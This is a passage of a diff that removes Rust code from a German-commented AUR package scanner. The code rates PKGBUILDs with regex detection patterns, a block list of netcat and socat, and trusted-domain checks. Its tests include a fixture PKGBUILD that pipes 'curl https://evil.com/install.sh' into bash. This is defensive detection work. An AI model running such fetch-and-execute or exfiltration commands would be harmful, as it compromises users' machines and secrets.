.and_then(|l| l.split(':').nth(1))
|
||||
.map(|s| s.trim().to_string())
|
||||
}
|
||||
|
||||
fn calculate_status(score: u32, has_ioc: bool, has_critical: bool) -> ScanStatus {
|
||||
if has_ioc {
|
||||
return ScanStatus::IOCDetected;
|
||||
}
|
||||
if has_critical || score < 30 {
|
||||
return ScanStatus::Dangerous;
|
||||
}
|
||||
if score < 50 {
|
||||
return ScanStatus::Suspicious;
|
||||
}
|
||||
if score < 80 {
|
||||
return ScanStatus::Warning;
|
||||
}
|
||||
ScanStatus::Safe
|
||||
}
|
||||
|
||||
fn save_whitelist(&self) -> Result<()> {
|
||||
let whitelist_path = self.cache_dir.join("whitelist.json");
|
||||
let json = serde_json::to_string_pretty(&self.whitelist)?;
|
||||
// Blocking IO für HashSet - in Produktion async machen
|
||||
std::fs::write(whitelist_path, json)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn calculate_cache_size(&self) -> Result<u64> {
|
||||
let mut total_size = 0u64;
|
||||
|
||||
let mut entries = fs::read_dir(&self.cache_dir).await?;
|
||||
while let Some(entry) = entries.next_entry().await? {
|
||||
let metadata = entry.metadata().await?;
|
||||
if metadata.is_file() {
|
||||
total_size += metadata.len();
|
||||
}
|
||||
}
|
||||
|
||||
Ok(total_size)
|
||||
}
|
||||
|
||||
async fn get_last_cache_update(&self) -> Result<Option<String>> {
|
||||
let cache_file = self.cache_dir.join("iocs.json");
|
||||
if !cache_file.exists() {
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
let metadata = fs::metadata(cache_file).await?;
|
||||
let modified = metadata.modified()?;
|
||||
let datetime: chrono::DateTime<chrono::Local> = modified.into();
|
||||
|
||||
Ok(Some(datetime.format("%Y-%m-%d %H:%M:%S").to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
impl ScanResult {
|
||||
pub fn status_message(&self) -> ColoredString {
|
||||
match self.status {
|
||||
ScanStatus::Safe => "SICHER".green().bold(),
|
||||
ScanStatus::Warning => "WARNUNG".yellow().bold(),
|
||||
ScanStatus::Suspicious => "VERDÄCHTIG".bright_yellow().bold(),
|
||||
ScanStatus::Dangerous => "GEFÄHRLICH!".red().bold(),
|
||||
ScanStatus::IOCDetected => "IOC ERKANNT!".on_red().white().bold(),
|
||||
ScanStatus::Unknown => "UNBEKANNT".white(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct IocThreat {
|
||||
pub package: String,
|
||||
pub threat_type: String,
|
||||
pub source: String,
|
||||
pub confidence: String,
|
||||
pub action_required: bool,
|
||||
}
|
||||
|
||||
// AUR RPC Response Types
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
struct AurRpcResponse {
|
||||
#[serde(rename = "resultcount")]
|
||||
resultcount: u32,
|
||||
results: Vec<AurPackageInfo>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
struct AurPackageInfo {
|
||||
#[serde(rename = "Name")]
|
||||
name: String,
|
||||
#[serde(rename = "Version")]
|
||||
version: String,
|
||||
#[serde(rename = "Description")]
|
||||
description: Option<String>,
|
||||
#[serde(rename = "URL")]
|
||||
url: Option<String>,
|
||||
#[serde(rename = "URLPath")]
|
||||
url_path: Option<String>,
|
||||
#[serde(rename = "Maintainer")]
|
||||
maintainer: Option<String>,
|
||||
#[serde(rename = "NumVotes")]
|
||||
num_votes: u32,
|
||||
#[serde(rename = "Popularity")]
|
||||
popularity: f32,
|
||||
#[serde(rename = "OutOfDate")]
|
||||
out_of_date: Option<i64>,
|
||||
}
|
||||
@@ -1,401 +0,0 @@
|
||||
use anyhow::{Context, Result};
|
||||
use regex::Regex;
|
||||
use std::collections::HashSet;
|
||||
use std::path::Path;
|
||||
use tracing::{debug, trace, warn};
|
||||
|
||||
/// Score-Kategorien für das Trust-Rating
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct TrustScore {
|
||||
pub overall: u32, // 0-100 (100 = vertrauenswürdig)
|
||||
pub categories: Vec<ScoreCategory>,
|
||||
pub warnings: Vec<String>,
|
||||
pub critical_findings: Vec<CriticalFinding>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ScoreCategory {
|
||||
pub name: String,
|
||||
pub score: u32, // 0-100
|
||||
pub weight: f32,
|
||||
pub description: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum CriticalFinding {
|
||||
RemoteCodeExecution(String), // Befehl der gefunden wurde
|
||||
CredentialExfiltration(String),
|
||||
PersistenceMechanism(String),
|
||||
ObfuscatedScript(String),
|
||||
SuspiciousNetworkCall(String),
|
||||
OrphanTakeover { original: String, new_maintainer: String },
|
||||
}
|
||||
|
||||
/// Konfiguration für Heuristiken
|
||||
pub struct TrustScorer {
|
||||
suspicious_patterns: Vec<SuspiciousPattern>,
|
||||
trusted_domains: HashSet<String>,
|
||||
blocklisted_commands: Vec<Regex>,
|
||||
}
|
||||
|
||||
struct SuspiciousPattern {
|
||||
pattern: Regex,
|
||||
penalty: u32,
|
||||
description: String,
|
||||
critical: bool,
|
||||
}
|
||||
|
||||
impl TrustScorer {
|
||||
pub fn new() -> Result<Self> {
|
||||
let mut scorer = TrustScorer {
|
||||
suspicious_patterns: Vec::new(),
|
||||
trusted_domains: Self::default_trusted_domains(),
|
||||
blocklisted_commands: Vec::new(),
|
||||
};
|
||||
|
||||
scorer.compile_patterns()?;
|
||||
Ok(scorer)
|
||||
}
|
||||
|
||||
fn compile_patterns(&mut self) -> Result<()> {
|
||||
// KRITISCHE PATTERNS (sofortiger Alarm)
|
||||
let critical_patterns = vec![
|
||||
// npm/bun install mit verdächtigen Paketen
|
||||
(r"(?i)(npm|bun)\s+install\s+.*(atomic|lockfile|digest|js-|crypto|steal|exfil)", 100, "Verdächtiges npm/bun install", true),
|
||||
// Download + Ausführen
|
||||
(r"(?i)(curl|wget).*\|\s*(bash|sh|eval|exec)\b", 100, "Download und direktes Ausführen", true),
|
||||
(r"(?i)(curl|wget).*\>.*\.\w+\s*;\s*chmod.*\+x", 100, "Download, speichern, executable machen", true),
|
||||
// Obfuscation
|
||||
(r"(?i)base64\s+-d\s*\|", 90, "Base64 Dekodierung in Pipe", true),
|
||||
(r"(?i)eval\s*\$", 90, "Eval mit Variablen", true),
|
||||
(r"(?i)\$\(.*\b(curl|wget|fetch)\b.*\)", 80, "Kommandosubstitution mit Download", true),
|
||||
// Netzwerk-Exfiltration
|
||||
(r"(?i)(temp\.sh|transfer\.sh|0x0\.st|termbin\.com)", 95, "Verdächtiger Upload-Service", true),
|
||||
// System-Persistenz
|
||||
(r"(?i)systemctl\s+(enable|start|restart).*\.(service|timer)", 70, "Systemd-Service Manipulation", false),
|
||||
(r"(?i)mkdir\s+-p\s+/var/lib/.*\s*\&\&\s*cp", 80, "Dateien unter /var/lib ablegen", false),
|
||||
// Browser/Credential-Zugriff
|
||||
(r"(?i)(\.mozilla|\.config/google-chrome|\.config/chromium|\.ssh|gnupg)", 60, "Zugriff auf sensitive Verzeichnisse", false),
|
||||
// eBPF
|
||||
(r"(?i)bpf\(|bpf_syscall|libbpf|bcc", 85, "eBPF Code erkannt", false),
|
||||
];
|
||||
|
||||
for (pattern, penalty, desc, critical) in critical_patterns {
|
||||
let regex = Regex::new(pattern)
|
||||
.with_context(|| format!("Konnte Pattern '{}' nicht kompilieren", pattern))?;
|
||||
self.suspicious_patterns.push(SuspiciousPattern {
|
||||
pattern: regex,
|
||||
penalty,
|
||||
description: desc.to_string(),
|
||||
critical,
|
||||
});
|
||||
}
|
||||
|
||||
// Blockliste von Kommandos (soweit Regex-technisch möglich)
|
||||
self.blocklisted_commands = vec![
|
||||
Regex::new(r"(?i)\b(nc|netcat|ncat|socat)\b").unwrap(),
|
||||
Regex::new(r"(?i)\b(rev|ruby|perl|python|python3)\s+-c\b").unwrap(),
|
||||
];
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn default_trusted_domains() -> HashSet<String> {
|
||||
let mut domains = HashSet::new();
|
||||
domains.insert("github.com".to_string());
|
||||
domains.insert("gitlab.com".to_string());
|
||||
domains.insert("salsa.debian.org".to_string());
|
||||
domains.insert("codeberg.org".to_string());
|
||||
domains.insert("sourceforge.net".to_string());
|
||||
domains.insert("kernel.org".to_string());
|
||||
domains.insert("gnu.org".to_string());
|
||||
domains.insert("apache.org".to_string());
|
||||
domains.insert("mozilla.org".to_string());
|
||||
domains.insert("npmjs.com".to_string()); // Achtung: npmjs ist auch missbraucht worden
|
||||
domains.insert("crates.io".to_string());
|
||||
domains.insert("pypi.org".to_string());
|
||||
domains.insert("archlinux.org".to_string());
|
||||
domains
|
||||
}
|
||||
|
||||
/// Analysiert einen PKGBUILD-Inhalt
|
||||
pub fn analyze_pkgbuild(&self, content: &str, source_url: Option<&str>) -> TrustScore {
|
||||
let mut score = 100u32;
|
||||
let mut categories = Vec::new();
|
||||
let mut warnings = Vec::new();
|
||||
let mut critical_findings = Vec::new();
|
||||
|
||||
// 1. Shell-Script Analyse (PKGBUILD ist ein Shell-Script)
|
||||
let (shell_score, shell_warnings, shell_critical) = self.analyze_shell_script(content);
|
||||
categories.push(ScoreCategory {
|
||||
name: "Shell-Script Sicherheit".to_string(),
|
||||
score: shell_score,
|
||||
weight: 0.40,
|
||||
description: "Analyse von PKGBUILD als Shell-Script".to_string(),
|
||||
});
|
||||
warnings.extend(shell_warnings);
|
||||
critical_findings.extend(shell_critical);
|
||||
score = score.saturating_sub(100 - shell_score);
|
||||
|
||||
// 2. Source-URL Verifizierung
|
||||
let (url_score, url_warnings) = self.analyze_source_url(source_url);
|
||||
categories.push(ScoreCategory {
|
||||
name: "Source-URL Vertrauen".to_string(),
|
||||
score: url_score,
|
||||
weight: 0.20,
|
||||
description: "Prüfung der Herkunft des Source-Codes".to_string(),
|
||||
});
|
||||
warnings.extend(url_warnings);
|
||||
score = score.saturating_sub((100 - url_score) / 3);
|
||||
|
||||
// 3. Checksum-Qualität
|
||||
let (checksum_score, checksum_warnings) = self.analyze_checksums(content);
|
||||
categories.push(ScoreCategory {
|
||||
name: "Checksum Verifizierung".to_string(),
|
||||
score: checksum_score,
|
||||
weight: 0.20,
|
||||
description: "Qualität und Vollständigkeit der Prüfsummen".to_string(),
|
||||
});
|
||||
warnings.extend(checksum_warnings);
|
||||
score = score.saturating_sub((100 - checksum_score) / 3);
|
||||
|
||||
// 4. Maintainer-Heuristiken
|
||||
let (maint_score, maint_warnings) = self.analyze_maintainer_info(content);
|
||||
categories.push(ScoreCategory {
|
||||
name: "Maintainer-Vertrauen".to_string(),
|
||||
score: maint_score,
|
||||
weight: 0.20,
|
||||
description: "Heuristiken zum Maintainer-Account".to_string(),
|
||||
});
|
||||
warnings.extend(maint_warnings);
|
||||
score = score.saturating_sub((100 - maint_score) / 3);
|
||||
|
||||
// Gewichteten Score berechnen
|
||||
let weighted_score: f32 = categories.iter()
|
||||
.map(|c| c.score as f32 * c.weight)
|
||||
.sum();
|
||||
|
||||
TrustScore {
|
||||
overall: weighted_score.round() as u32,
|
||||
categories,
|
||||
warnings,
|
||||
critical_findings,
|
||||
}
|
||||
}
|
||||
|
||||
fn analyze_shell_script(&self, content: &str) -> (u32, Vec<String>, Vec<CriticalFinding>) {
|
||||
let mut score = 100u32;
|
||||
let mut warnings = Vec::new();
|
||||
let mut critical = Vec::new();
|
||||
|
||||
for pattern in &self.suspicious_patterns {
|
||||
if pattern.pattern.is_match(content) {
|
||||
let captures: Vec<_> = pattern.pattern.find_iter(content).collect();
|
||||
|
||||
for cap in captures {
|
||||
let ctx_start = cap.start().saturating_sub(30);
|
||||
let ctx_end = (cap.end() + 30).min(content.len());
|
||||
let context = &content[ctx_start..ctx_end];
|
||||
let context_clean = context.replace('\n', "\\n");
|
||||
|
||||
if pattern.critical {
|
||||
critical.push(CriticalFinding::RemoteCodeExecution(format!(
|
||||
"{} (Kontext: ...{}...)",
|
||||
pattern.description,
|
||||
context_clean
|
||||
)));
|
||||
score = score.saturating_sub(pattern.penalty);
|
||||
} else {
|
||||
warnings.push(format!(
|
||||
"{}: {}",
|
||||
pattern.description,
|
||||
context_clean
|
||||
));
|
||||
score = score.saturating_sub(pattern.penalty / 2);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Blocklisted Commands
|
||||
for cmd_regex in &self.blocklisted_commands {
|
||||
if let Some(mat) = cmd_regex.find(content) {
|
||||
warnings.push(format!(
|
||||
"Potentiell gefährlicher Befehl erkannt: {}",
|
||||
&content[mat.start().saturating_sub(10)..(mat.end() + 10).min(content.len())]
|
||||
));
|
||||
score = score.saturating_sub(10);
|
||||
}
|
||||
}
|
||||
|
||||
// Prozentuale Bewertung
|
||||
(score.min(100), warnings, critical)
|
||||
}
|
||||
|
||||
fn analyze_source_url(&self, url: Option<&str>) -> (u32, Vec<String>) {
|
||||
let mut score = 100u32;
|
||||
let mut warnings = Vec::new();
|
||||
|
||||
let url = match url {
|
||||
Some(u) => u,
|
||||
None => {
|
||||
warnings.push("Keine Source-URL gefunden".to_string());
|
||||
return (50, warnings);
|
||||
}
|
||||
};
|
||||
|
||||
// HTTPS check
|
||||
if !url.starts_with("https://") {
|
||||
warnings.push("Source-URL verwendet kein HTTPS".to_string());
|
||||
score -= 20;
|
||||
}
|
||||
|
||||
// Domain check
|
||||
let domain = url.split('/').nth(2).unwrap_or("");
|
||||
let domain_clean = domain.strip_prefix("www.").unwrap_or(domain);
|
||||
|
||||
if !self.trusted_domains.contains(domain_clean) {
|
||||
warnings.push(format!(
|
||||
"Domain '{}' ist nicht in der Trust-Liste",
|
||||
domain_clean
|
||||
));
|
||||
score -= 15;
|
||||
}
|
||||
|
||||
// URL Shortener / Pastebin checks
|
||||
if url.contains("pastebin") || url.contains("tinyurl") || url.contains("bit.ly")
|
||||
|| url.contains("t.co") || url.contains("short.link") {
|
||||
warnings.push("URL-Shortener / Pastebin als Source erkannt!".to_string());
|
||||
score -= 50;
|
||||
}
|
||||
|
||||
(score.max(0), warnings)
|
||||
}
|
||||
|
||||
fn analyze_checksums(&self, content: &str) -> (u32, Vec<String>) {
|
||||
let mut score = 100u32;
|
||||
let mut warnings = Vec::new();
|
||||
|
||||
// Prüfe auf SHA256/SHA512 (gut)
|
||||
let has_sha256 = content.contains("sha256sums") || content.contains("sha256");
|
||||
let has_sha512 = content.contains("sha512sums") || content.contains("sha512");
|
||||
let has_md5 = content.contains("md5sums") || content.contains("md5");
|
||||
let has_skip = content.contains("SKIP") || content.contains("skip");
|
||||
|
||||
if has_sha256 || has_sha512 {
|
||||
score += 10;
|
||||
}
|
||||
|
||||
if has_md5 && !has_sha256 && !has_sha512 {
|
||||
warnings.push("Nur MD5-Checksummen (veraltet und unsicher)".to_string());
|
||||
score -= 30;
|
||||
}
|
||||
|
||||
if has_skip {
|
||||
warnings.push("Checksummen werden übersprungen (SKIP)".to_string());
|
||||
score -= 40;
|
||||
}
|
||||
|
||||
if !has_sha256 && !has_sha512 && !has_md5 && !has_skip {
|
||||
warnings.push("Keine Checksummen definiert".to_string());
|
||||
score -= 50;
|
||||
}
|
||||
|
||||
(score.max(0).min(100), warnings)
|
||||
}
|
||||
|
||||
fn analyze_maintainer_info(&self, content: &str) -> (u32, Vec<String>) {
|
||||
// Baseline: Wir können aus dem PKGBUILD nicht viel über den Maintainer lernen
|
||||
// In einer erweiterten Version würde dies die AUR-RPC API nutzen
|
||||
let mut score = 80u32; // Neutral
|
||||
let mut warnings = Vec::new();
|
||||
|
||||
// Prüfe auf "Contributor" vs "Maintainer"
|
||||
if !content.contains("# Maintainer:") {
|
||||
if content.contains("# Contributor:") {
|
||||
warnings.push("Nur Contributor, kein Maintainer definiert".to_string());
|
||||
score -= 10;
|
||||
}
|
||||
}
|
||||
|
||||
(score.max(0).min(100), warnings)
|
||||
}
|
||||
|
||||
/// Prüft ein installiertes Paket (Fallback wenn kein PKGBUILD verfügbar)
|
||||
pub fn check_installed_package(&self, pkg_info: &str) -> TrustScore {
|
||||
// Minimale Analyse basierend auf pacman -Qi Ausgabe
|
||||
let mut warnings = Vec::new();
|
||||
|
||||
if pkg_info.contains("AUR") || pkg_info.contains("foreign") {
|
||||
warnings.push("Paket stammt aus AUR (nicht offizielles Repository)".to_string());
|
||||
}
|
||||
|
||||
TrustScore {
|
||||
overall: 70, // Grundwert für installierte Pakete ohne PKGBUILD
|
||||
categories: vec![],
|
||||
warnings,
|
||||
critical_findings: vec![],
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_npm_install_detection() {
|
||||
let scorer = TrustScorer::new().unwrap();
|
||||
let malicious_pkgbuild = r#"
|
||||
pkgname=test-malicious
|
||||
pkgver=1.0
|
||||
pkgrel=1
|
||||
|
||||
build() {
|
||||
npm install atomic-lockfile
|
||||
}
|
||||
"#;
|
||||
|
||||
let result = scorer.analyze_pkgbuild(malicious_pkgbuild, None);
|
||||
assert!(!result.critical_findings.is_empty());
|
||||
assert!(result.overall < 50);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_curl_pipe_bash_detection() {
|
||||
let scorer = TrustScorer::new().unwrap();
|
||||
let bad_pkgbuild = r#"
|
||||
pkgname=test-bad
|
||||
pkgver=1.0
|
||||
|
||||
prepare() {
|
||||
curl -s https://evil.com/install.sh | bash
|
||||
}
|
||||
"#;
|
||||
|
||||
let result = scorer.analyze_pkgbuild(bad_pkgbuild, None);
|
||||
assert!(!result.critical_findings.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_legitimate_pkgbuild() {
|
||||
let scorer = TrustScorer::new().unwrap();
|
||||
let good_pkgbuild = r#"
|
||||
pkgname=hello
|
||||
pkgver=2.12
|
||||
pkgrel=1
|
||||
source=(https://ftp.gnu.org/gnu/$pkgname/$pkgname-$pkgver.tar.gz)
|
||||
sha256sums=('cf04e2b7e0d28e6f5e540d130ad5295c079ffdad43e25c489e5e52eb40a2a517')
|
||||
|
||||
build() {
|
||||
cd "$pkgname-$pkgver"
|
||||
./configure --prefix=/usr
|
||||
make
|
||||
}
|
||||
"#;
|
||||
|
||||
let result = scorer.analyze_pkgbuild(good_pkgbuild, Some("https://ftp.gnu.org/gnu/hello/hello-2.12.tar.gz"));
|
||||
assert!(result.overall > 70);
|
||||
assert!(result.critical_findings.is_empty());
|
||||
}
|
||||
}
|
||||
@@ -1,28 +0,0 @@
|
||||
use anyhow::Result;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::path::PathBuf;
|
||||
|
||||
/// Gemeinsame Utility-Funktionen
|
||||
pub fn get_project_dirs() -> Result<directories::ProjectDirs> {
|
||||
directories::ProjectDirs::from("eu", "heimatlosen", "aegisaur")
|
||||
.ok_or_else(|| anyhow::anyhow!("Konnte Projekt-Verzeichnisse nicht ermitteln"))
|
||||
}
|
||||
|
||||
/// Formatiert Bytes als menschenlesbare Größe
|
||||
pub fn format_bytes(bytes: u64) -> String {
|
||||
const UNITS: [&str; 6] = ["B", "KB", "MB", "GB", "TB", "PB"];
|
||||
let mut size = bytes as f64;
|
||||
let mut unit_index = 0;
|
||||
|
||||
while size >= 1024.0 && unit_index < UNITS.len() - 1 {
|
||||
size /= 1024.0;
|
||||
unit_index += 1;
|
||||
}
|
||||
|
||||
format!("{:.2} {}", size, UNITS[unit_index])
|
||||
}
|
||||
|
||||
/// Prüft ob ein Befehl verfügbar ist
|
||||
pub fn command_exists(cmd: &str) -> bool {
|
||||
which::which(cmd).is_ok()
|
||||
}
|
||||
Reference in New Issue
Block a user